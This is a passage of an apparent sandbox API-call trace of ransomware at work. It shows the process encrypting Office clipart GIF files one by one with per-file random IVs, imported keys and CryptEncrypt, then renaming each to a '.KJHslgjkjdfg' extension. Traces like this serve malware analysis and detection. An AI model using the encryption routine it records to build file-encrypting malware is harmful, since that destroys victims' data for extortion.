0x990000 [0219.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.347] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.347] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.347] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0219.348] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.348] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.348] GetProcessHeap () returned 0x990000 [0219.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.348] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.348] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.348] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.348] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.348] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.348] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.348] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.349] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.349] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.349] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.349] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.349] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x412, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x412, lpOverlapped=0x0) returned 1 [0219.349] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x420, dwBufLen=0x420 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x420) returned 1 [0219.349] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.349] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x420, lpOverlapped=0x0) returned 1 [0219.349] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.349] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.349] SetEndOfFile (hFile=0x138) returned 1 [0219.351] GetProcessHeap () returned 0x990000 [0219.351] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.351] GetProcessHeap () returned 0x990000 [0219.351] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif.kjhslgjkjdfg")) returned 1 [0219.353] CloseHandle (hObject=0x138) returned 1 [0219.353] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0219.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.355] GetProcessHeap () returned 0x990000 [0219.355] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.355] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.355] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.355] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0219.357] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.357] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.357] GetProcessHeap () returned 0x990000 [0219.357] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.357] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.357] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.357] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.358] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.358] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.358] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.358] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.358] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.358] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.358] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.358] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.358] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b7f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1b7f, lpOverlapped=0x0) returned 1 [0219.359] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1b80) returned 1 [0219.359] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.359] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1b80, lpOverlapped=0x0) returned 1 [0219.359] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.359] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.359] SetEndOfFile (hFile=0x138) returned 1 [0219.362] GetProcessHeap () returned 0x990000 [0219.362] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.362] GetProcessHeap () returned 0x990000 [0219.362] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif.kjhslgjkjdfg")) returned 1 [0219.363] CloseHandle (hObject=0x138) returned 1 [0219.363] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0219.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.364] GetProcessHeap () returned 0x990000 [0219.365] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.365] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.365] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.365] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0219.367] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.367] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.367] GetProcessHeap () returned 0x990000 [0219.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.367] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.367] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.367] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.367] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.367] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.367] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.367] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.367] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.367] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.367] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.367] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.368] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6ad, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x6ad, lpOverlapped=0x0) returned 1 [0219.368] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6b0) returned 1 [0219.368] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.368] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x6b0, lpOverlapped=0x0) returned 1 [0219.368] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.368] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.368] SetEndOfFile (hFile=0x138) returned 1 [0219.370] GetProcessHeap () returned 0x990000 [0219.370] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.370] GetProcessHeap () returned 0x990000 [0219.370] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif.kjhslgjkjdfg")) returned 1 [0219.372] CloseHandle (hObject=0x138) returned 1 [0219.372] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0219.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.373] GetProcessHeap () returned 0x990000 [0219.373] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.373] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.373] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.373] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0219.375] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.375] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.375] GetProcessHeap () returned 0x990000 [0219.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.375] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.375] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.375] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.376] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.376] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.376] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.376] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.376] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.376] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.376] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.376] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.376] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x69f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x69f, lpOverlapped=0x0) returned 1 [0219.376] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6a0) returned 1 [0219.376] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.376] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x6a0, lpOverlapped=0x0) returned 1 [0219.377] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.377] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.377] SetEndOfFile (hFile=0x138) returned 1 [0219.379] GetProcessHeap () returned 0x990000 [0219.379] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.379] GetProcessHeap () returned 0x990000 [0219.379] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif.kjhslgjkjdfg")) returned 1 [0219.380] CloseHandle (hObject=0x138) returned 1 [0219.380] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0219.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.382] GetProcessHeap () returned 0x990000 [0219.382] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.382] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.382] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.382] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0219.384] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.384] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.384] GetProcessHeap () returned 0x990000 [0219.384] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.384] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.384] 